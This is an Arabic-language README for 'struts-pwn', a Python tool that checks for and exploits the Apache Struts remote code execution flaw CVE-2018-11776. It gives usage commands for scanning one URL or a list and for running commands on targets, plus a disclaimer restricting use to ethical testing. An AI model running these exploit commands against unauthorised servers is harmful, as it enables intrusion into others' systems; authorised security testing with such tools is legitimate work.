struts-pwn - استغلال CVE-2018-11776

أداة استغلال لـ Apache Struts CVE-2018-11776

الاستخدام

التحقق من وجود الثغرة الأمنية على عنوان URL واحد.

python struts-pwn.py --url 'http://example.com/demo/struts2-showcase/index.action'

التحقق من وجود الثغرة الأمنية على قائمة عناوين URL.

python struts-pwn.py --list 'urls.txt'

استغلال عنوان URL واحد.

python struts-pwn.py --exploit --url 'http://example.com/demo/struts2-showcase/index.action' -c 'id'

استغلال قائمة عناوين URL.

python struts-pwn.py --exploit --list 'urls.txt' -c 'id'

العرض التوضيحي

Demo

Screenshot 1

Screenshot 2

المتطلبات

Python2 أو Python3
requests

إخلاء مسؤولية قانوني

هذا المشروع أُنشئ لأغراض تعليمية واختبارات أخلاقية فقط. استخدام struts-pwn لمهاجمة الأهداف دون موافقة متبادلة مسبقة غير قانوني. تقع على عاتق المستخدم النهائي مسؤولية الامتثال لجميع القوانين المحلية والولائية والاتحادية المعمول بها. لا يتحمل المطورون أي مسؤولية ولا يكونون مسؤولين عن أي إساءة استخدام أو ضرر ناتج عن هذا البرنامج.

الترخيص

المشروع مرخص تحت رخصة MIT.

المؤلف

مازن أحمد

الموقع الإلكتروني: https://mazinahmed.net
البريد الإلكتروني: mazin AT mazinahmed DOT net
تويتر: https://twitter.com/mazen160
لينكد إن: http://linkedin.com/in/infosecmazinahmed

struts-pwn_CVE-2018-11776

الأكثر شعبية